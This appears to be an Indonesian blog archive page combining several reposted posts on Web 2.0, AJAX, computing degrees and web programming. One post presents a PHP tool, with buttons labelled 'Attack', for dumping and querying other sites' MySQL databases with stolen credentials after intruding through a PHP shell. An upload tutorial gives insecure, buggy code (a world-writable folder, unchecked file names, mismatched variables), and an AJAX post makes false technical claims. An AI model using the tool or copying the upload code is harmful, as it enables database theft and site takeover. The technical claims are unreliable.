Meski banyaknya website yang memungkinkan anggotanya berbagi satu sama lain (termasuk brand), bukan berarti mengecilkan kemampuan brand untuk membangun komunitasnya sendiri. Atau minimal, membangun aplikasi atau permainan yang memungkinkan pengunjung leluasa memasukkan tulisan, gambar, atau materi apapun, yang disukainya, dan menunjukkannya ke teman-temannya.

Kalau diperhatikan, beberapa bulan belakangan ini, kebanyakan website promo brand selalu menampilkan interaksi dalam bentuk permainan ataupun sekedar lucu-lucuan. Di setiap interaksi ini, pengunjung bisa memasukkan konten tertentu, yang memungkinkan konten ini dilihat pengunjung lainnya. Misalnya, di website promonya, brand Sundown memungkinkan pengunjung untuk memainkan piano di atas punggung wanita yang sedang berjemur di pantai. Hasil musik ini bisa direkam, dan dikirimkan ke teman-temannya. Hal serupa dilakukan brand Tampax Compak di website-nya, yang memungkinkan pengunjung menyusun ringtone-nya sendiri dari kombinasi lagu yang ada.

artikel kutipan : http://media-ide.bajingloncat.com/2006/09/08/bagaimana-brand-berpartisipasi-di-era-web-20/

Apa Web 2.0 ? (Salah Kaprah AJAX dan Web 2.0")


Saya tertarik untuk membuat tulisan ini karena dari beberapa artikel yang saya baca, terutama dari media cetak lokal terdapat salah kaprah mengenai AJAX dan Web 2.0. Ini penting untuk anda ketahui karena beberapa penulis artikel komputer tidak mempunyai latar belakang komputer melainkan mencomot tulisan sana-sini yang berasal dari Internet bahkan dari Wikipedia yang mungkin berasal dari penulis yang tidak kompeten di bidangnya.

Programmer yang pernah mendevelop Web App sebelum jaman AJAX bergema, tentu saja tersenyum ketika jargon AJAX muncul di sana-sini, apalagi bagi mereka yang berkutat di era mainframe. Di lain pihak bagi programmer RAD seperti Delphi dan VB tentu tidak asing lagi dengan Intraweb dan DevExpress yang jauh-jauh hari sudah ada. Sekali lagi, ramalan I Made Wiryana tentang pekembangan IT semakin mendekati buktinya, meskipun dituangkannya dalam bentuk lamunan, mungkinkah ia pernah dikirim oleh mesin waktu ke tahun 2006 ini? . Untuk memberikan wawasan kepada anda mengenai AJAX dan Web 2.0 ini sesungguhnya silahkan simak artikel berikut ini.

  1. AJAX membuat proses pada website lebih cepat, benarkah?
    Ini tidak sepenuhnya benar! Yang benar adalah karena AJAX mendukung asynchronous sehingga halaman web dapat diupdate seperlunya saja maka proses update website menjadi lebih cepat karena tidak seluruh halaman di download. Tetapi harus anda ingat bahwa pada waktu anda mengedit website tersebut maka browser harus men-load editor tersebut di mana komponen-komponen penunjangnya juga harus di-load dari server ke PC anda! Semakin kompleks sebuah editor maka semakin lama proses loading-nya.

  2. Apa sebenarnya Web 2.0 itu?
    Web 2.0 hanyalah sebuah istilah untuk menunjukkan bahwa teknologi website saat ini memasuki generasi versi 2.0 sesuai penamaan versioning yang ada, sehingga jika anda peningkatan akan dinamai Web 2.1, 2.2, 3.0 dan seterusnya. Pada Web 2.0 aplikasi dijalankan di atas browser bukan di atas platform OS itu secara langsung. Singkatnya, OS menjalankan Browser kemudian Browser menjalankan Application. Dengan demikian proses menjadi lebih lambat. Tetapi ada keuntungannya, yaitu anda tidak perlu melakukan install secara manual karena aplikasi yang dibutuhkan langsung di-download melalui browser tersebut karena itulah disebut Web Application. Sebenarnya sampai saat ini kemampuan Web Application masih belum sempurna, artinya kemampuannya terbatas dibandingkan dengan versi desktopnya.

  3. Benarkah Web Application lebih kecil ukurannya?
    Ya dan tidak. Web application jika seluruh softwarenya di-compile dan diletakkan di server maka sangat besar ukurannya, karena itulah lahirlah teknologi .Net dan JRE (Java Runtime Environment), di mana keduanya merupakan library atau kumpulan fungsi yang dibutuhkan oleh program. Sehingga sebuah aplikasi pada Web Application dapat berukuran kecil karena sebagian ada di library. Dan ingat, tanpa library ini maka Web Application tersebut akan menjadi sangat besar. Nah, untuk itulah library ini perlu diinstall di PC anda, tahukah anda berapa besar ukuran file ini? Untuk .Net (MS .Net Framework 2.0) ukurannya 88.39 MB dan JRE (tepatnya J2SE Runtime Environment 5.0 Update 6) sebesar 119 MB. Angka 2 pada .Net dan J2SE menandakan teknologi Web 2.0. Itulah sebabnya mengapa ukuran Web Application lebih kecil dan karena terpisah (sebagaimana teknologi interpreter) maka Web App umumnya lebih lambat dibandingkan dengan versi dektop.

  4. Dapatkan Web 2.0 dipakai tanpa koneksi internet?
    Tidak. Sampai saat ini Web 2.0 membutuhkan koneksi internet tetapi dalam perkembangannya nanti akan muncul versi offline nya. Beberapa pengguna Yahoo Mail versi Beta kagum dengan interface baru yang berteknologi AJAX tetapi kemudian mereka kembali lagi ke OE (Outlook Express) karena lebih enak membaca email saat offline, lagipula biaya internet mahal dan koneksinya terbatas. Jadi Web App yang baik harus dapat bekerja secara online maupun offline, sehingga ketika sebuah entry perlu di-upload ke internet maka akan dilakukan ketika koneksi tersedia, sebaliknya sebuah dokumen Word yang hanya perlu anda disimpan di HD lokal tidak perlu di-upload.

  5. Apakah Web 2.0 Harus Memakai Internet Kecepatan Tinggi?
    Tidak juga. Artinya, jika anda memakai koneksi dial up dengan kecepatan umum di Indonesia yaitu 36-40 Kbps maka Web App bisa jalan tetapi silahkan ngopi dahulu saat Web App anda yang kompleks di download sampai 100%. Memang sambil menunggu anda dapat meneruskan pekerjaan anda. Karena itu design Web App yang efisien menjadi tantangan programmer web saat ini.

  6. Bagaimana cara membuat Web App yang efisien?
    Pertama, framework (istilahnya Microsoft) atau environment (istilahnya Java) harus mendekati titik sempurna. Artinya harus sebanyak mungkin fungsi tersedia di pustaka (library) ini, ingat sekitar 100 MB library sudah ada di PC anda! Karena masing-masing kubu punya jalan sendiri maka sebaiknya install kedua library ini di PC anda. Sedangkan Web App anda harus semaksimal mungkin memanfaatkan fungsi pada library ini sehingga ukurannya menjadi sangat kecil.

  7. Haruskah Aplikasi Desktop Pindah ke Web App?
    Sebuah aplikasi dektop cukup membutuhkan OS untuk jalan. Sedangkan Web App memerlukan browser, library, dan Web Server. Bahasa program VB, Delphi dan C++ tidak umum dipakai saat ini pada Web Server, umumnya dipakai Phyton, PHP dan ASP. Juga diperlukan script seperti Javascript dan VBscript. Memang ada beberapa komponen untuk memudahkan programming RAD, misalnya Intraweb (untuk Delphi) dan DevExpress (bisa untuk Delphi dan VB .Net), maupun VB .Net sendiri yang sudah mempunyai library internet untuk keperluan Web App. Komponen ini memudahkan programmer high level language karena komponen yang akan menerjemahkannya ke Javascript atau Vbscript. Jika aplikasi dekstop anda tidak memerlukan fitur berbasis website maka tidak perlu dikonversi. Perhatikan pula masalah sekuritas, karena applikasi berbasis web ini lebih rawan terhadap serangan.

  8. Saya lihat dan baca banyak sekali framework Web 2.0, mana yang harus saya pakai?
    Itulah teknologi, saat mulai bertumbuh maka developer berusaha mencuri perhatian dengan membuat framework dan tool untuk memudahkan implementasi WEB 2.0 ini, terutama dengan jargon AJAX. Saat ini yang terbaik adalah wait and see. Karena sekali anda memilih framework merek A maka sulit untuk pindah ke merek B. Pada akhirnya framework dengan pemakai yang terbanyak dan didukung vendor besarlah yang akan menang. Tentu saja menguntungkan jika framework anda mendukung baik .Net maupun JRE. Ada baiknya anda mulai belajar menggunakan yang lebih native seperti Java Server Creator atau Microsoft .Net Studio sehingga anda dapat mengerti teknologi dibalik komponen penunjang Web App. Ya, Web App masih terlalu dini saat ini. Perang antara kubu Java dan .Net sebenarnya baru saja dimulai.

KELEMAHAN WEB APP

  1. Web App lebih lambat daripada aplikasi desktop. Ini wajar, karena prosesnya kembali ke mode interpreter, seperti jaman program Basic dahulu. Web App berinteraksi dengan library yang ada di lokal PC. Engine pada browser berperan dalam waktu pemrosesan.

  2. Sekuritas. Masalah keamanan pada Web App, banyak sekali celah keamanan yang dapat ditembus, bahkan beberapa celah keamanan yang terdapat di browser masih belum diselesaikan. Firefox yang disebut sebagai browser paling aman ternyata hanya sekedar marketing trick saja! Buktinya sejak versi 1.0 Stable diluncurkan sampai dengan versi 1.5 terdapat ratusan bug, mulai dari bug sederhana sampai yang berbahaya! Sedangkan IE dapat dikatakan lebih aman karena sudah melewati ratusan bug.

  3. Dapat saja terjadi seorang hacker membelokan layanan yang anda minta dengan 2 cara: pertama, ketika anda klik pada dokumen Excel misalnya, maka layanan akan dibelokkan ke site tertentu. Kedua, hacker membuat koneksi layanan ke server sehingga server mengira bahwa Web App nya sedang berinteraksi dengannya, padahal bukan.

  4. Siapa atau apa yang dapat menjamin bahwa Web App yang disediakan server adalah aman? Ini menjadi dilema pada saat modus offline diperkenankan untuk mengakses lokal PC anda. Atau bagaimana jika seseorang mengirim Web App seakan-akan kirimannya adalah update terbaru sebuah Web App? Atau mungkin sebuah Web App melakukan modifikasi terhadap layanan yang lain? Bisa jadi file Excel yang dibuat oleh Web App merek A kemudian diedit oleh Web App merek B dan kemudian dibaca oleh Web App merek C.

  5. Promosi Web App yang berlebihan mengaburkan peranan Web App itu sendiri. Jargon AJAX muncul sana-sini seakan-akan AJAX adalah senjata pamungkas! Mereka yang tidak waspada dan tidak pernah membuat Web App dari dasar akan mudah sekali terjebak pada promosi ini. Intinya Web App masih berupa tunas yang baru tumbuh.

KESIMPULAN

Sebuah deskripsi yang masih sangat kabur terbentang mengenai perkembangan Web App ini. Semua orang berharap mendapatkan aplikasi yang lebih baik, lebih cepat, lebih efisien dan lebih segala-galanya. Salah satu benang kusutnya adalah terlibatnya sejumlah trik marketing untuk mempromosikan Web App 2.0. Sehingga pembaca ketika mencoba googling 'AJAX atau Web App 2.0" akan dihadirkan dengan jutaan website, sebagian di antaranya dibumbui dengan trik marketing yang hebat.

Jadi bagaimana? Secara pribadi, saya menyarankan anda untuk "wait and see but still try". Artinya, tunggu saja sampai implementasi yang ada berhasil tetapi tetap mencobanya di lingkungan laboratorium. Lihat saja sampai kekurangan pada Web 2.0 diperbaiki di versi 2.1, 2.2 dan selanjutnya. Sebagai bahan pertimbangan mengapa saya berpikir demikian adalah:

  • Sampai saat ini layanan Yahoo Mail berbasis Web Appmasih belum sempurna, beberapa fungsi masih belum bekerja di Web App.
  • Sampai saat ini, layanan mirip Excel yaitu www.irows.com dan www.Zohowroter.com belum sempurna. Keduanya belum dapat menggantikan Excel 100%. Bahkan sangat lambat ketika 100.000 baris data anda masukkan dan lakukan perintah sederhana seperti scrolling dan sorting!
  • Layanan gOffice (www.goffice.com) yang mempunyai web app mirip Adode PageMaker ternyata hanya kulitnya saja alias hanya memiliki kemampuan terbatas!
  • Tolak ukur keberhasilan Web App ini salah satunya ada pada CMS Joomla! Mengapa? Karena CMS inilah yang paling banyak penggunanya dan implementasi AJAX dimulai pada Joomla 1.5 (saat ini masih 1.5 Beta 1). Sedangkan untuk kubu .Net tolak ukurnya adalah CMS DNN (DotNetNuke).
Saat ini lebih baik waktu dimanfaatkan untuk membenahi sistem anda, lakukan audit/evaluasi terhadap sistem yang sudah anda miliki. Dan luangkan waktu untuk tetap memonitor perkembangan tekonologi Web App ini. Cobalah gunakan aplikasi Web App yang sudah tersedia untuk mengerjakan tugas yang kompleks di Excel dan PageMaker sehingga anda lebih mengerti apa yang dimaksud dengan kemampuan terbatas pada kedua aplikasi berbasis web tersebut. Bagi kubu Java memang pusing tujuh keliling karena solusi yang ditawarkan terlalu banyak dan tidak seragam. Sedangkan bagi kubu .Net dapat lebih lega karena meskipun solusinya banyak namun masih dalam garis teknologi .Net itu sendiri. Kedua kubu menawarkan tools yang gratis, jadi harga bukan merupakan ukuran lagi saat ini. Bahkan source code Web App yang dihasilkan kedua belah pihak sama-sama terbuka, setidaknya tidak sulit mencari sourcenya. Pada akhirnya waktu jualah yang menunjukkan bagaimana perkembangan Web App ini, setidaknya menurut pendapat pribadi saya, tunggu sampai Web App versi 2.5 atau 6-12 bulan ke depan. (ujar : wendy)

artikel kutipan : http://www.drupal-id.com/id/salah_kaprah_ajax_dan_web_2_0

25 January 2007

Apa sih Beda Information Technology dengan Computer Science?


Anda bingung memilih jurusan yang terkait dengan ilmu per-komputer-an saat kuliah nanti? Apakah bedanya antara jurusan computer engineering (CE), computer science (CS), information systems (IS), information technology (IT) dan software engineering (SE)?

Maka dokumen bertajuk ‘Computing Curricula 2005′ mudah-mudahan akan bisa membantu pertanyaan di atas. Dokumen tersebut merupakan hasil kerja bareng antara The Association of Computing Machinery, The Association of Information Systems dan The Computer Society.

Ketiga asosiasi kenamaan dunia tersebut bergabung membentuk suatu gugus tugas untuk menyusun kurikulum terkait dengan dunia per-komputer-an, yang kemudian diacu oleh banyak institusi pendidikan seluruh dunia.

Dokumen ‘Computing Curricula 2005′ yang dirilis pada 30 September 2005 itu sendiri secara tegas membedakan antara disiplin ilmu CE, CS, IS, IT dan SE. Perkembangan disiplin ilmu perkomputeran, seperti ditulis dalam dokumen setebal 62 halaman tersebut, terbagi atas dua masa, yaitu sebelum tahun 1990-an dan setelahnya.

Pra 1990-an

Sebelum tahun 1990-an, tepatnya sekitar tahun 1960-an, disiplin ilmu yang berkembang masih sangat sederhana. Untuk urusan utak-atik hardware, dapat memilih electrical engineering (EE) .

Kemudian, masih di masa yang sama, CS lebih banyak bermain di rekayasa software, sedangkan IS lebih kepada mengeksplorasi manfaat hardware dan software untuk membantu menyelesaikan problem bisnis.

Dengan semakin berkembangnya teknologi mikroprosesor berbasis chip (chip-based) yang dimulai pada pertengahan 1970-an, maka secara perlahan CE menjadi suatu ilmu dengan spesialiasi khusus, yang merupakan pemekaran dari EE.

Pasca 1990-an
Singkat kata, akhirnya berbagai disiplin ilmu dalam rumpun perkomputeran saling membentuk diri mengikuti perkembangan jaman. CE menjadi semakin solid dan terpisah dari EE. Kemudian CS berkembang demikian pesat, sehingga disiplin ilmu SE yang sebelumnya berada di dalamnya, akhirnya menjadi mandiri.

Alasannya, karena dibutuhkan suatu keahlian yang sangat spesifik untuk dapat menghasilkan sebuah software yang baik. Saat itu mulai meluas kesadaran bahwa pembuatan software yang baik adalah sangat sulit, sangat mahal dan sangat diperlukan.

Kemudian IS juga berkembang seiring dengan tuntutan dunia bisnis yang membutuhkan kehandalan pengelolaan hardware dan software dalam mendukung kinerjanya. Bagaimana dengan IT?

Disiplin ilmu IT berkembang pada era akhir 1990-an. Ilmu IT berkembang lantaran diperlukan satu disiplin ilmu lagi dalam dunia per-komputer-an yang akan membantu suatu organisasi atau institusi dalam menjamin kelayakan infrastruktur komputer dikaitkan dengan kesiapan dari sisi internal, semisal kesiapan sumber daya manusia terkait.

Deskripsi Ilmu

Selanjutnya, dokumen ‘Computing Curricula 2005′ tersebut secara gamblang menjelaskan deskripsi masing-masing dari ilmu per-komputer-an yang ada dewasa ini. Secara singkat, deskripsi tersebut adalah sebagai berikut:

  • Computer Engineering (CE) mempelajari antara lain tentang bagaimana mendisain dan merancang konstruksi komputer dan sistem berbasis komputer yang baik. Ilmu yang terlibat adalah tentang hardware, software, komunikasi dan tentu saja memahami proses interaksi antar bagian tersebut.
  • Computer Science (CS) mempelajari antara lain tentang bagaimana mengembangkan robotik, computer vision, intelligence system, bio-informatika, dan hal-hal lainnya yang terkait dengan pengembangan komputer kedepannya. Untuk itu, ilmuwan komputer ini harus memelajari berbagai hal secara teoritis hingga dasar-dasar algoritma dan mengetahui cara mengimplementasikannya.
  • Information Systems (IS) mempelajari antara lain tentang bagaimana membangun dan mengintegrasikan solusi teknologi informasi dengan proses bisnis yang ada, sehingga suatu institusi bisnis akan dapat mencapai tujuannya dengan efektif dan efisien
  • Information Technology (IT) mempelajari antara lain tentang bagaimana sebuah sistem informasi di sebuah institusi sudah tepat keberadaannya, berfungsi sesuai harapan, mudah dalam pengaturan operasional, serta aman. Selain itu aspek non-teknis semisal memahami kebutuhan dari pengguna akhir, menterjemahkan kebutuhan manajemen, dan hal-hal praktis lainnya juga dipelajari.
  • Software Engineering (SE) mempelajari antara lain tentang bagaimana merancang-bangun dan memelihara sebuah sistem software yang reliabel, efisien, efektif serta mudah dikembangkan dan dapat memenuhi kebutuhan dari kustomer atau pengguna.

Lima Aspek dan Theory vs Applied

Di dalam dokumen ‘Computing Curricula 2005′ tersebut, penjelasan di atas dipaparkan lebih panjang-lebar. Bahkan untuk kekuatan dari masing-masing jurusan ilmu per-komputer-an tersebut, telah diterjemahkan dalam bentuk tabel grafik yang mencerminkan fokus ilmu terkait.

Fokus tersebut mengacu kepada lima aspek, yaitu

  1. Isu Organisasi dan Sistem Informasi,
  2. Teknologi Aplikasi,
  3. Metode dan Teknologi Software,
  4. Infrastruktur Sistem, serta
  5. Arsitektur dan Hardware Komputer, yang kelimanya berada pada sumbu vertikal.

Setiap disiplin ilmu per-komputer-an memang secara umum bisa saja secara sebagian atau keseluruhan mempelajari kelima aspek tersebut. Tetapi dari tabel grafik yang disediakan, dapat secara jelas menggambarkan fokus dan kekuatan masing-masing.

Karena pada grafik tersebut, pada sumbu horizontalnya menjelaskan tentang pengembangan keilmuannya, apakah lebih theory (teori, prinsip dan inovasi) ataukah lebih kepada applied (aplikasi, pemasangan, konfigurasi).

Bobot dan Kekhasan

Dipaparkan pula dalam tabel terpisah, pembobotan untuk masing-masing ‘mata kuliah’ untuk setiap jurusan. Bobot tersebut menggunakan kisaran poin ‘0′ hingga ‘5′. Setiap jurusan ternyata memiliki pembobotan poin yang berbeda untuk setiap ‘mata kuliah’ terkait.

Jenis ‘mata kuliah’-nya pun dibagi menjadi dua rumpun besar, yaitu computing topics dan non-computing topics. Kemudian terdapat pula tabel sebagai barometer kompetensi dan kapabilitas (secara relatif) atas lulusan dari tiap jurusan yang ada.

Barometer tersebut, juga dengan skala ‘0′ sampai dengan ‘5′, melakukan penilaian dari berbagai area kompetensi, yaitu

  1. algoritma,
  2. program aplikasi,
  3. pemrograman komputer,
  4. hardware dan piranti lain,
  5. interface manusia-komputer ,
  6. sistem informasi,
  7. manajemen informasi (basis data),
  8. perencanaan sumber daya teknologi informasi,
  9. intelligence systems,
  10. jaringan dan komunikasi, serta
  11. pengembangan sistem melalui integrasi.

Adapun untuk setiap area kompetensi di atas, masih terbagi lagi atas beberapa kriteria performance capability. Sehingga dari tabel tersebut akan dapat menjelaskan bahwa dari kelima jurusan yang ada (CE, CS, IS, IT dan SE), akan menghasilkan lulusan dengan kompetensi dan kapabilitas yang unik dengan karakteristik masing-masing.

Jadi jika kita mengacu kepada dokumen ‘Computing Curricula 2005′ tersebut, maka kita akan terbantukan dalam mendapatkan gambaran lebih jelas tentang karakteristik, kekhasan, keunikan dan keunggulan tiap-tiap jurusan ilmu per-komputer-an yang berkembang saat ini. Itupun jika kita mau dan mampu thinking out of the box. (dbu)

Catatan:
Dokumen ‘Computing Curricula 2005′ tersebut dapat didownload di

http://www.acm.org/education/curric_vols/CC2005_Final_Report2.pdf (887 kb).

Sumber:
http://www.detikinet.com/index.php/detik.read/tahun/2006/bulan/01/tgl/26/time/102059/idnews/526627/idkanal/331

Terjun ke dunia Web harus menguasai Server Side juga Client Side Programming


Setelah 2 tahun bercinta dengan web programming akhirnya saya menyadari bahwa untuk benar benar bisa menjadi programmer web yang baik harus bisa menguasai 2 sisi pemrograman, yaitu client side dan server side, keduanya tidak bisa di pisahkan,

Teknologi yang digunakan dalam pemrograman web dibagi menjadi dua yaitu server side dan client side. Pada server side, perintah-perintah program dijalankan di server dan dikirimkan ke browser sudah dalam bentuk HTML. Sedangkan client side, proses akan dilakukan di web browser. Biasanya client side digunakan untuk hal-hal yang membutuhkan interaksi user tetapi data yang ditampilkan tetap dan seragam.

Aplikasi web berjalan pada protokol HTTP, dan semua protokol di internet selalu melibatkan antara server dan client. Ketika seseorang mengetikkan suatu alamat di browser, maka browser akan mengirimkan perintah tersebut ke web server. Jika yang diminta oleh client adalah file yang mengandung perintah server side maka server web akan menjalankan dahulu program tersebut lalu mengirimkannya kembali ke browser dalam bentuk HTML sehingga dapat diterjemahkan oleh browser. Sedangkan jika yang diminta oleh client adalah file yang mengandung file client side maka oleh server file tersebut akan langsung dikirimkan ke browser.

"kenapa saya harus menguasai dua2 nya, sedangkan saya bisa membuat web dengan salah satunya?"

untuk server side programming seperti php dan asp, memang terkenal handal, apalagi php saya dapat merasakannya sendiri, betapa hebatnya bahasa yang satu ini, untuk penggunaan database gak perlu di tanya lagi, sangat powerfull, dan masih banyak lagi yang bisa di lakukannya..

namun tidak semua layanan efektive menggunakan server side saja,
contohnya anda ingin membuat content yang realtime update seperti bursa saham contohnya, gak mungkin anda pake php atau asp yang berbasis server side untuk menampilkan data yang up to date itu, karena kita tau bahasa tersebut berjalan/ dieksekusi pada saat page load, dan membutuhkan proses lagi di server baru kemudian di kirimkan ke browser, sbenarnya bisa saja dilakukan tapi gak lucu kalo kita harus membuat web browser refresh tiap detiknnya, karena akan memakan waktu dan tidak efektif...

kita tau kehandalan java script sejak kemunculannya hingga saat ini, kita dapat membuat applikasi yang berjalan di browser tanpa harus mlakukan load page ketika harus melakukan suatu proses, beberapa contoh yang sering di gunakan seperti menu rollover, pop up menu dan animasi animasi web, kebanyakan menggunakan java sebagai client side programming, dan layanan yang saya pakai untuk menuliskan posting ini pun menggunakannya, dengan tampilan mirip notepad he he he, pokoknya untuk applikasi web java scrip top bgt..

jadi anda bisa bayangkan kalau anda hanya menguasai salah satunya, pasti kreatifitas anda akan sangat terbatas, dan hasil web yang anda bikin pasti sangat tidak atraktif, walaupun mungkin content nya powerfull, saya jamin..

21 January 2007

Google Hack (hacking dengan memanfaatkan kemampuan google)

This summary is not available. Please click here to view the post.

20 January 2007

Exploit MySql Database via PHP Script


Tulisan ini saya buat, karena kebingungan saya untuk melihat database (semuanya...mulai dari nama table, field sampai dengan isinya)..
setelah saya berhasil masuk kedalam server hostingan (dengan menggunakan php shell).

Jadi langsung saja kita mulai:

langkah 1

Script yang saya buat terdiri dari 2 buah file:
1.admindb.php
2.adminatedb.php

sebelumnya karena saya pemula maka file ini script ini sangat sederhana....dan masih dapat dimodifikasi lagi

Langkah2:

1. Dapatkan file konfigurasi database dari tiap situs dalam server (gunakan php shell untuk browsing)
2. Setelah dapat maka kita hanya tinggal memasukkan nama DB, username, password dan server(default localhost)
3. jalankan file admindb.php

admindb.php

<?php if(!$submit) {
echo "Lihat Database";
echo "<form name=\"form1\" method=\"post\" action=\"\">
<table width=\"325\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\"><tr>

<td width=\"150\">Masukkan database</td>
<td width=\"4\">:</td>
<td width=\"170\"><input name=\"db\" type=\"text\" id=\"db\"></td>
</tr>
<tr>
<td width=\"150\">Masukkan username</td>
<td width=\"4\">:</td>
<td width=\"170\"><input name=\"user\" type=\"text\" id=\"user\"></td>
</tr>
<tr>
<td width=\"150\">Masukkan nama server</td>
<td width=\"4\">:</td>
<td width=\"170\"><input name=\"server\" type=\"text\" id=\"server\"
value=\"localhost\"></td>
</tr>
<tr>
<td width=\"150\">Masukkan password</td>
<td width=\"4\">:</td>
<td width=\"170\"><input name=\"password\" type=\"text\"
id=\"password\"></td>
</tr>
<tr>
<td></td>

<td></td>
<td><input name=\"submit\" type=\"submit\" id=\"submit\"
value=\"Attack\"></td>
</tr>
</table>
</form> ";
}

else

{mysql_connect($server,"$user", "$password");
$hasil=mysql_db_query($db, "show tables from $db");
$isi=mysql_num_rows($hasil);
while($isi1=mysql_fetch_row($hasil)){
for($jml=0;$jml<$isi;$jml++){
$isi2.="$isi1[$jml]\n";
}
}
echo "Nama-nama table database $db<br><br>";
echo "$isi2";
echo "<br><br><a href=admindb.php>kembali</a>";
echo "<br><a href=adminatedb.php?proses=0&db=$db&server=$server&user=$user&password=$password>lihat
field</a>";
echo "<br><a
href=adminatedb.php?proses=1&db=$db&server=$server&user=$user&password=$password>isi
field</a>";
echo "<br><a
href=adminatedb.php?proses=2&db=$db&server=$server&user=$user&password=$password>query
table</a>";
}
?>

adminatedb.php

<?php
switch($proses){
case'0':{
if(!$submit) {
echo "Lihat field Table pada $db";
echo "<form name=\"form1\" method=\"post\" action=\"\">
<table width=\"325\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\">
<tr>
<td width=\"150\">Masukkan table</td>
<td width=\"4\">:</td>
<td width=\"170\"><input name=\"table\" type=\"text\" id=\"table\"></td>
</tr>
<tr>
<td></td>
<td></td>
<td><input name=\"submit\" type=\"submit\" id=\"submit\"
value=\"Attack\"></td>
</tr>
</table>
</form> ";
}
else
{ mysql_connect($server,"$user", "$password");
$hasil=mysql_db_query($db, "show fields from $table");
$isi=mysql_num_rows($hasil);
while($isi1=mysql_fetch_row($hasil)){
for($jml=0;$jml<$isi;$jml++){
$isi2.="$isi1[$jml]\n";
}
}
echo "field-field table $table<br><br>";
echo "$isi2";
echo "<br><br><a href=admindb.php>kembali</a>";
echo "<br><a href=adminatedb.php?proses=1&db=$db&server=$server&user=$user&password=$password>kembali
table</a>";
}
break;
}
case'1':{
if(!$submit) {
echo "Lihat Isi Table pada $db";
echo "<form name=\"form1\" method=\"post\" action=\"\">
<table width=\"325\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\">
<tr>
<td width=\"150\">Masukkan table</td>
<td width=\"4\">:</td>
<td width=\"170\"><input name=\"table\" type=\"text\" id=\"table\"></td>
</tr>
<tr>
<td></td>
<td></td>
<td><input name=\"submit\" type=\"submit\" id=\"submit\" value=\"Attack\"></td>
</tr>
</table>
</form> ";
}
else{
mysql_connect($server,"$user", "$password");
$parameter=mysql_db_query($db, "show fields from $table");
$hasil=mysql_db_query($db, "select * from $table");
$isi=mysql_num_rows($parameter);
while($isi1=mysql_fetch_row($hasil))
{for($jml=0;$jml<$isi;$jml++)
{$isi2.="$isi1[$jml]\n";
}
}
echo "isi table $table<br><br>";
echo "$isi2";
echo "<br><br><a href=admindb.php>kembali</a>";
}
break;
}
case'2':{
mysql_connect(localhost,"", "");
if($submit) {
//$pass=md5($password);
$hasil =mysql_db_query($db, "$query");
if($hasil){
echo "Serangan Berhasil";
}
else {
echo "Serangan gagal";
}
}
else {
echo "<form name=\"form1\" method=\"post\" action=\"\">
<table width=\"233\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\">
<tr>
<td width=\"59\">query</td>
<td width=\"4\">:</td>
<td width=\"170\"><textarea name=\"query\" rows=\"5\" id=\"query\"></textarea></td>
</tr>
<tr>
<td></td>
<td>:</td>
<td><input name=\"submit\" type=\"submit\" id=\"submit\"></td>
</tr>
</table>
</form>";
}
}
break;
}
?>

4. Selamat browsing isi database yah....

Perhatian ... teknik ini berfungsi saat kita sudah dapat masuk ke

server tersebut dan dapat mengupload file2 tersebut



http://groups.google.com/group/jogjahacking/browse_thread/thread/51b5d6e388ad0b37/#

Upload File Dengan PHP


Mengirimkan file ke server adalah hal yang mudah bila dilakukan dengan menggunakan FTP client oftware, dan hal tersebutlah yang biasa kita lakukan.

Kali ini kita akan mencoba melakukannya dengan PHP. Artikel ini bisa digunakan bagi Anda yang kerkeinginan untuk membuat semacam file sharing atau photo gallery dan lain-lain.

Yang harus kita siapkan adalah sebagai berikut :

1. Apache server terinstall dengan baik.
2. PHP terinstall dengan baik.
3. Pengetahuan Anda tentang PHP
4. Pengetahuan Anda tentang CHMOD

Persiapan

Buatlah satu direktori pada server Anda dengan nama 'files', lalu buatlah permition direktori tersebut menjadi 777 dengan cara melakukan perintah chmod 777 files. Setelah selesai, marilah kita mulai membuat script php yang akan kita gunakan untuk meng-upload file.

Kode baris per baris.

$jumlahfile = 2;

Variable ini akan menentukan berapa jumlah form file yang akan di tampilkan pada saat user Anda mulai melakukan aktifitas upload.

$file_dir = dirname(__FILE__)."/files/";

Variable ini mendefinisikan dimanakah letak file-file yang akan di upload. Digunakan dua fungsi pada baris ini, yaitu dirname(string) berguna untuk mengetahui lokasi asli atau original path dari string.
Berikutnya adalah sebuah predefined variable yaitu __FILE__ yang dimasukkan sebagai string untuk fungsi dirname.
Variable tersebut menunjukkan ke arah script PHP yang sedang kita buat sekarang, kemudian ditambahkan dengan sub direktori bernama files.

if ($_POST) {

Sebuah kondisi yang melihat apakan user sudah menekan tombol submit atau menekan enter, jika sudah makan fungsi-fungsi berikutnya akan dijalankan. Bila belum maka fungsi-fungsi setelah tanda } akan dijalankan.

for ($i=0;$i<$jumlahfoto;$i++) {

Perintah di atas akan membuat script untuk melakukan perulangan dari fungsi dan perintah didalamnya sebanyak n yang telah ditentukan pada variable $jumlahfile.

if (trim($_FILES['by']['name'][$i])!="") {

Kondisi ini akan melihat apakah form yang sudah di submit oleh user mengandung file yang sudah diseleksi sebelumnya atau belum, jika sudah maka fungsi dan perintah di dalam kondisi ini akan dijalankan.

$newfile = $file_dir.$_FILES['by']['name'][$i];

Sekali lagi kita mendefinisikan sebuah variable bernama $newfile, yang tujuannya adalah membuat nama file yang akan di upload itu sesuai dengan nama aslinya sekaligus juga dengan direktori tempat file tersebut akan diletakkan.

move_uploaded_file($_FILES['by']['tmp_name'][$i], $newfile);

Perintah di atas akan membuat file-file yang sudah di upload ke direktori sementara pada server dipindahkan ke tempat dimana sudah kita sediakan dengan variable $newfile di atas.

print "<form method="post" enctype="multipart/form-data">";
for($i=0;$i<$ jumlahfile;$i++) {
print "<input type="file" name="by[]" size="30"><br>";
}

print "<input type="submit" name="action" value="Upload">";
print "</form>";

Kode-kode tersebut akan membuat sebuah tampilan form pada layar browserser Anda. Jumlah form untuk input file adalah sebanyak anda mendefinisikan variable $jumlahfile di atas.

Rangkuman Kode

<?php
$jumlahfile = 2;
$file_dir = dirname(__FILE__)."/files/";
if ($_POST) {
for ($i=0;$i<$jumlahfoto;$i++) {
if (trim($_FILES['by']['name'][$i])!="") {
$newfile = $file_dir.$_FILES['by']['name'][$i];
move_uploaded_file($_FILES['by']['tmp_name'][$i], $newfile);

}
}
}
print "<form method="post" enctype="multipart/form-data">";
for($i=0;$i<$ jumlahfile;$i++) {
print "<input type="file" name="by[]" size="30"><br>";
}
print "<input type="submit" name="action"
value="Upload">";
print "</form>";
?>

Kesimpulan.

